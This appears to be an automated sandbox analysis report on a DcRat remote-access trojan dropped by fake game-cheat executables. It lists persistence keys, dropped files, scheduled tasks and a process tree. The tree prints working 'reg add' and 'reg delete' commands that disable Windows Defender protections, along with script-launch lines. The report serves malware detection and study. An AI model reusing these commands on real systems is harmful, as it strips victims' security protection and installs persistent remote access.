Set value (str)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\conhost = "\"C:\\Windows\\apppatch\\es-ES\\conhost.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RuntimeBroker = "\"C:\\Recovery\\WindowsRE\\RuntimeBroker.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RuntimeBroker = "\"C:\\Recovery\\WindowsRE\\RuntimeBroker.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\fontdrvhost = "\"C:\\Program Files (x86)\\WindowsPowerShell\\Configuration\\Schema\\fontdrvhost.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\TextInputHost = "\"C:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets\\TextInputHost.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Registry = "\"C:\\blockweb\\Registry.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\dwm = "\"C:\\Program Files (x86)\\Windows Photo Viewer\\it-IT\\dwm.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WmiPrvSE = "\"C:\\blockweb\\WmiPrvSE.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MoUsoCoreWorker = "\"C:\\Recovery\\WindowsRE\\MoUsoCoreWorker.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RuntimeBroker = "\"C:\\blockweb\\RuntimeBroker.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\TextInputHost = "\"C:\\Program Files\\Crashpad\\attachments\\TextInputHost.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\conhost = "\"C:\\Windows\\apppatch\\es-ES\\conhost.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\spoolsv = "\"C:\\Windows\\InputMethod\\SHARED\\spoolsv.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WaaSMedicAgent = "\"C:\\blockweb\\WaaSMedicAgent.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SearchApp = "\"C:\\Windows\\LiveKernelReports\\SearchApp.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\fontdrvhost = "\"C:\\Program Files (x86)\\WindowsPowerShell\\Configuration\\Schema\\fontdrvhost.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\portrefNet = "\"C:\\Program Files\\Crashpad\\portrefNet.exe\""	portrefNet.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
10	ip-api.com

Modifies Security services 2 TTPs 8 IoCs

Modifies the startup behavior of a security service.

defense_evasion

Modify Registry

Impair Defenses

T1562

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdNisSvc\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdBoot\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdFilter\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdNisDrv\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdNisSvc\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdBoot\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdFilter\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdNisDrv\Start = "4"	reg.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
708	Lunch LaCheatV2.exe
1692	Lunch LaCheat.exe

Drops file in Program Files directory 15 IoCs

description	ioc	Process
File created	C:\Program Files\Crashpad\portrefNet.exe	portrefNet.exe
File created	C:\Program Files\Crashpad\attachments\TextInputHost.exe	portrefNet.exe
File created	C:\Program Files (x86)\Windows Photo Viewer\it-IT\6cb0b6c459d5d3	portrefNet.exe
File created	C:\Program Files\dotnet\swidtag\088424020bedd6	portrefNet.exe
File opened for modification	C:\Program Files\Crashpad\portrefNet.exe	portrefNet.exe
File created	C:\Program Files (x86)\MSBuild\Microsoft\wininit.exe	portrefNet.exe
File created	C:\Program Files (x86)\WindowsPowerShell\Configuration\Schema\fontdrvhost.exe	portrefNet.exe
File created	C:\Program Files (x86)\WindowsPowerShell\Configuration\Schema\5b884080fd4f94	portrefNet.exe
File created	C:\Program Files\dotnet\swidtag\conhost.exe	portrefNet.exe
File created	C:\Program Files\Crashpad\eb327ae3a57632	portrefNet.exe
File created	C:\Program Files (x86)\Windows Sidebar\Shared Gadgets\22eafd247d37c3	portrefNet.exe
File created	C:\Program Files\Crashpad\attachments\22eafd247d37c3	portrefNet.exe
File created	C:\Program Files (x86)\Windows Photo Viewer\it-IT\dwm.exe	portrefNet.exe
File created	C:\Program Files (x86)\MSBuild\Microsoft\56085415360792	portrefNet.exe
File created	C:\Program Files (x86)\Windows Sidebar\Shared Gadgets\TextInputHost.exe	portrefNet.exe

Drops file in Windows directory 8 IoCs

description	ioc	Process
File created	C:\Windows\apppatch\es-ES\088424020bedd6	portrefNet.exe
File created	C:\Windows\LiveKernelReports\SearchApp.exe	portrefNet.exe
File created	C:\Windows\LiveKernelReports\38384e6a620884	portrefNet.exe
File created	C:\Windows\InputMethod\SHARED\spoolsv.exe	portrefNet.exe
File created	C:\Windows\InputMethod\SHARED\f3b6ecef712a24	portrefNet.exe
File created	C:\Windows\Speech_OneCore\Engines\TTS\de-DE\NUSData\Registry.exe	portrefNet.exe
File created	C:\Windows\Speech_OneCore\Engines\TTS\de-DE\NUSData\ee2ad38f3d4382	portrefNet.exe
File created	C:\Windows\apppatch\es-ES\conhost.exe	portrefNet.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Lunch LaCheat.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Primordial Crack.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Lunch LaCheatV2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DCRatBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	E3A480A53D8B2C398A7642E1F4E84785.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings	DCRatBuild.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 54 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
2092	schtasks.exe
4724	schtasks.exe
5028	schtasks.exe
5104	schtasks.exe
2072	schtasks.exe
3120	schtasks.exe
2032	schtasks.exe
4532	schtasks.exe
3248	schtasks.exe
4768	schtasks.exe
4384	schtasks.exe
4396	schtasks.exe
4832	schtasks.exe
4112	schtasks.exe
4508	schtasks.exe
4572	schtasks.exe
1016	schtasks.exe
708	schtasks.exe
4288	schtasks.exe
3260	schtasks.exe
1872	schtasks.exe
1172	schtasks.exe
5072	schtasks.exe
4420	schtasks.exe
768	schtasks.exe
4436	schtasks.exe
2436	schtasks.exe
4432	schtasks.exe
3428	schtasks.exe
1084	schtasks.exe
3032	schtasks.exe
4920	schtasks.exe
5012	schtasks.exe
5024	schtasks.exe
756	schtasks.exe
1880	schtasks.exe
3592	schtasks.exe
1148	schtasks.exe
2112	schtasks.exe
4108	schtasks.exe
1160	schtasks.exe
5048	schtasks.exe
2296	schtasks.exe
3824	schtasks.exe
2356	schtasks.exe
4388	schtasks.exe
1940	schtasks.exe
960	schtasks.exe
2892	schtasks.exe
3608	schtasks.exe
3392	schtasks.exe
2636	schtasks.exe
748	schtasks.exe
4060	schtasks.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

pid	Process
708	Lunch LaCheatV2.exe
708	Lunch LaCheatV2.exe
708	Lunch LaCheatV2.exe
708	Lunch LaCheatV2.exe
1692	Lunch LaCheat.exe
1692	Lunch LaCheat.exe
1692	Lunch LaCheat.exe
1692	Lunch LaCheat.exe
4376	portrefNet.exe
4376	portrefNet.exe
4376	portrefNet.exe
4376	portrefNet.exe
4376	portrefNet.exe
1084	TextInputHost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3132	52cheatand52rat.exe
Token: SeIncreaseQuotaPrivilege	2416	wmic.exe
Token: SeSecurityPrivilege	2416	wmic.exe
Token: SeTakeOwnershipPrivilege	2416	wmic.exe
Token: SeLoadDriverPrivilege	2416	wmic.exe
Token: SeSystemProfilePrivilege	2416	wmic.exe
Token: SeSystemtimePrivilege	2416	wmic.exe
Token: SeProfSingleProcessPrivilege	2416	wmic.exe
Token: SeIncBasePriorityPrivilege	2416	wmic.exe
Token: SeCreatePagefilePrivilege	2416	wmic.exe
Token: SeBackupPrivilege	2416	wmic.exe
Token: SeRestorePrivilege	2416	wmic.exe
Token: SeShutdownPrivilege	2416	wmic.exe
Token: SeDebugPrivilege	2416	wmic.exe
Token: SeSystemEnvironmentPrivilege	2416	wmic.exe
Token: SeRemoteShutdownPrivilege	2416	wmic.exe
Token: SeUndockPrivilege	2416	wmic.exe
Token: SeManageVolumePrivilege	2416	wmic.exe
Token: 33	2416	wmic.exe
Token: 34	2416	wmic.exe
Token: 35	2416	wmic.exe
Token: 36	2416	wmic.exe
Token: SeIncreaseQuotaPrivilege	2416	wmic.exe
Token: SeSecurityPrivilege	2416	wmic.exe
Token: SeTakeOwnershipPrivilege	2416	wmic.exe
Token: SeLoadDriverPrivilege	2416	wmic.exe
Token: SeSystemProfilePrivilege	2416	wmic.exe
Token: SeSystemtimePrivilege	2416	wmic.exe
Token: SeProfSingleProcessPrivilege	2416	wmic.exe
Token: SeIncBasePriorityPrivilege	2416	wmic.exe
Token: SeCreatePagefilePrivilege	2416	wmic.exe
Token: SeBackupPrivilege	2416	wmic.exe
Token: SeRestorePrivilege	2416	wmic.exe
Token: SeShutdownPrivilege	2416	wmic.exe
Token: SeDebugPrivilege	2416	wmic.exe
Token: SeSystemEnvironmentPrivilege	2416	wmic.exe
Token: SeRemoteShutdownPrivilege	2416	wmic.exe
Token: SeUndockPrivilege	2416	wmic.exe
Token: SeManageVolumePrivilege	2416	wmic.exe
Token: 33	2416	wmic.exe
Token: 34	2416	wmic.exe
Token: 35	2416	wmic.exe
Token: 36	2416	wmic.exe
Token: SeDebugPrivilege	348	52cheatand52rat.exe
Token: SeIncreaseQuotaPrivilege	4108	wmic.exe
Token: SeSecurityPrivilege	4108	wmic.exe
Token: SeTakeOwnershipPrivilege	4108	wmic.exe
Token: SeLoadDriverPrivilege	4108	wmic.exe
Token: SeSystemProfilePrivilege	4108	wmic.exe
Token: SeSystemtimePrivilege	4108	wmic.exe
Token: SeProfSingleProcessPrivilege	4108	wmic.exe
Token: SeIncBasePriorityPrivilege	4108	wmic.exe
Token: SeCreatePagefilePrivilege	4108	wmic.exe
Token: SeBackupPrivilege	4108	wmic.exe
Token: SeRestorePrivilege	4108	wmic.exe
Token: SeShutdownPrivilege	4108	wmic.exe
Token: SeDebugPrivilege	4108	wmic.exe
Token: SeSystemEnvironmentPrivilege	4108	wmic.exe
Token: SeRemoteShutdownPrivilege	4108	wmic.exe
Token: SeUndockPrivilege	4108	wmic.exe
Token: SeManageVolumePrivilege	4108	wmic.exe
Token: 33	4108	wmic.exe
Token: 34	4108	wmic.exe
Token: 35	4108	wmic.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4476 wrote to memory of 3132	4476	E3A480A53D8B2C398A7642E1F4E84785.exe	87
PID 4476 wrote to memory of 3132	4476	E3A480A53D8B2C398A7642E1F4E84785.exe	87
PID 4476 wrote to memory of 996	4476	E3A480A53D8B2C398A7642E1F4E84785.exe	88
PID 4476 wrote to memory of 996	4476	E3A480A53D8B2C398A7642E1F4E84785.exe	88
PID 4476 wrote to memory of 996	4476	E3A480A53D8B2C398A7642E1F4E84785.exe	88
PID 4476 wrote to memory of 3256	4476	E3A480A53D8B2C398A7642E1F4E84785.exe	89
PID 4476 wrote to memory of 3256	4476	E3A480A53D8B2C398A7642E1F4E84785.exe	89
PID 4476 wrote to memory of 3256	4476	E3A480A53D8B2C398A7642E1F4E84785.exe	89
PID 3256 wrote to memory of 4536	3256	cmd.exe	152
PID 3256 wrote to memory of 4536	3256	cmd.exe	152
PID 3256 wrote to memory of 4536	3256	cmd.exe	152
PID 3256 wrote to memory of 812	3256	cmd.exe	92
PID 3256 wrote to memory of 812	3256	cmd.exe	92
PID 3256 wrote to memory of 812	3256	cmd.exe	92
PID 3256 wrote to memory of 748	3256	cmd.exe	155
PID 3256 wrote to memory of 748	3256	cmd.exe	155
PID 3256 wrote to memory of 748	3256	cmd.exe	155
PID 3132 wrote to memory of 2416	3132	52cheatand52rat.exe	95
PID 3132 wrote to memory of 2416	3132	52cheatand52rat.exe	95
PID 996 wrote to memory of 708	996	Primordial Crack.exe	93
PID 996 wrote to memory of 708	996	Primordial Crack.exe	93
PID 996 wrote to memory of 708	996	Primordial Crack.exe	93
PID 3256 wrote to memory of 2608	3256	cmd.exe	97
PID 3256 wrote to memory of 2608	3256	cmd.exe	97
PID 3256 wrote to memory of 2608	3256	cmd.exe	97
PID 996 wrote to memory of 3032	996	Primordial Crack.exe	99
PID 996 wrote to memory of 3032	996	Primordial Crack.exe	99
PID 996 wrote to memory of 3032	996	Primordial Crack.exe	99
PID 3256 wrote to memory of 3300	3256	cmd.exe	100
PID 3256 wrote to memory of 3300	3256	cmd.exe	100
PID 3256 wrote to memory of 3300	3256	cmd.exe	100
PID 3256 wrote to memory of 4244	3256	cmd.exe	102
PID 3256 wrote to memory of 4244	3256	cmd.exe	102
PID 3256 wrote to memory of 4244	3256	cmd.exe	102
PID 3032 wrote to memory of 4656	3032	cmd.exe	103
PID 3032 wrote to memory of 4656	3032	cmd.exe	103
PID 3032 wrote to memory of 4656	3032	cmd.exe	103
PID 3256 wrote to memory of 1092	3256	cmd.exe	104
PID 3256 wrote to memory of 1092	3256	cmd.exe	104
PID 3256 wrote to memory of 1092	3256	cmd.exe	104
PID 3256 wrote to memory of 3392	3256	cmd.exe	105
PID 3256 wrote to memory of 3392	3256	cmd.exe	105
PID 3256 wrote to memory of 3392	3256	cmd.exe	105
PID 3032 wrote to memory of 760	3032	cmd.exe	106
PID 3032 wrote to memory of 760	3032	cmd.exe	106
PID 3032 wrote to memory of 760	3032	cmd.exe	106
PID 3256 wrote to memory of 3768	3256	cmd.exe	107
PID 3256 wrote to memory of 3768	3256	cmd.exe	107
PID 3256 wrote to memory of 3768	3256	cmd.exe	107
PID 3032 wrote to memory of 3208	3032	cmd.exe	108
PID 3032 wrote to memory of 3208	3032	cmd.exe	108
PID 3032 wrote to memory of 3208	3032	cmd.exe	108
PID 3256 wrote to memory of 4000	3256	cmd.exe	109
PID 3256 wrote to memory of 4000	3256	cmd.exe	109
PID 3256 wrote to memory of 4000	3256	cmd.exe	109
PID 3032 wrote to memory of 1532	3032	cmd.exe	110
PID 3032 wrote to memory of 1532	3032	cmd.exe	110
PID 3032 wrote to memory of 1532	3032	cmd.exe	110
PID 3256 wrote to memory of 4820	3256	cmd.exe	111
PID 3256 wrote to memory of 4820	3256	cmd.exe	111
PID 3256 wrote to memory of 4820	3256	cmd.exe	111
PID 3256 wrote to memory of 4892	3256	cmd.exe	112
PID 3256 wrote to memory of 4892	3256	cmd.exe	112
PID 3256 wrote to memory of 4892	3256	cmd.exe	112

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\E3A480A53D8B2C398A7642E1F4E84785.exe
"C:\Users\Admin\AppData\Local\Temp\E3A480A53D8B2C398A7642E1F4E84785.exe"
1⤵
- DcRat
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4476
- C:\Users\Admin\AppData\Local\Temp\52cheatand52rat.exe
  "C:\Users\Admin\AppData\Local\Temp\52cheatand52rat.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3132
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" csproduct get uuid
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2416
- C:\Users\Admin\AppData\Local\Temp\Primordial Crack.exe
  "C:\Users\Admin\AppData\Local\Temp\Primordial Crack.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:996
- - C:\Users\Admin\AppData\Local\Temp\Lunch LaCheatV2.exe
    "C:\Users\Admin\AppData\Local\Temp\Lunch LaCheatV2.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:708
  - - C:\Users\Admin\AppData\Local\Temp\Lunch LaCheat.exe
      "C:\Users\Admin\AppData\Local\Temp\Lunch LaCheat.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      Suspicious use of NtSetInformationThreadHideFromDebugger
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:1692
    - - C:\Users\Admin\AppData\Local\Temp\DCRatBuild.exe
        
        "C:\Users\Admin\AppData\Local\Temp\DCRatBuild.exe"
        5⤵
        Checks computer location settings
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:2592
      - C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\blockweb\J6PsSzBYKK7mXTJyYh2Tgne.vbe"
        6⤵
        Checks computer location settings
        System Location Discovery: System Language Discovery
        
        PID:3316
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\blockweb\TOdra8QNG4wQEWkSimCHh9eVG.bat" "
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:1664
        
        C:\blockweb\portrefNet.exe
        
        "C:\blockweb\portrefNet.exe"
        8⤵
        DcRat
        Modifies WinLogon for persistence
        Checks computer location settings
        Executes dropped EXE
        Adds Run key to start application
        Drops file in Program Files directory
        Drops file in Windows directory
        Suspicious behavior: EnumeratesProcesses
        
        PID:4376
        
        C:\Program Files\Crashpad\attachments\TextInputHost.exe
        
        "C:\Program Files\Crashpad\attachments\TextInputHost.exe"
        9⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:1084
      - C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\blockweb\file.vbs"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:3600
    - - C:\Users\Admin\AppData\Local\Temp\52cheatand52rat.exe
        
        "C:\Users\Admin\AppData\Local\Temp\52cheatand52rat.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:348
      - C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4108
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        7⤵
        
        PID:1860
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\windows defender.bat" "
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3032
  - - C:\Windows\SysWOW64\reg.exe
      reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
      4⤵
      Modifies Windows Defender Real-time Protection settings
      System Location Discovery: System Language Discovery
      PID:4656
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:760
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:3208
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:1532
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
      4⤵
      Modifies Windows Defender Real-time Protection settings
      System Location Discovery: System Language Discovery
      PID:1476
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
      4⤵
      Modifies Windows Defender Real-time Protection settings
      System Location Discovery: System Language Discovery
      PID:624
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
      4⤵
      Modifies Windows Defender Real-time Protection settings
      System Location Discovery: System Language Discovery
      PID:2396
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
      4⤵
      Modifies Windows Defender Real-time Protection settings
      System Location Discovery: System Language Discovery
      PID:2924
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
      4⤵
      Modifies Windows Defender Real-time Protection settings
      System Location Discovery: System Language Discovery
      PID:1860
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
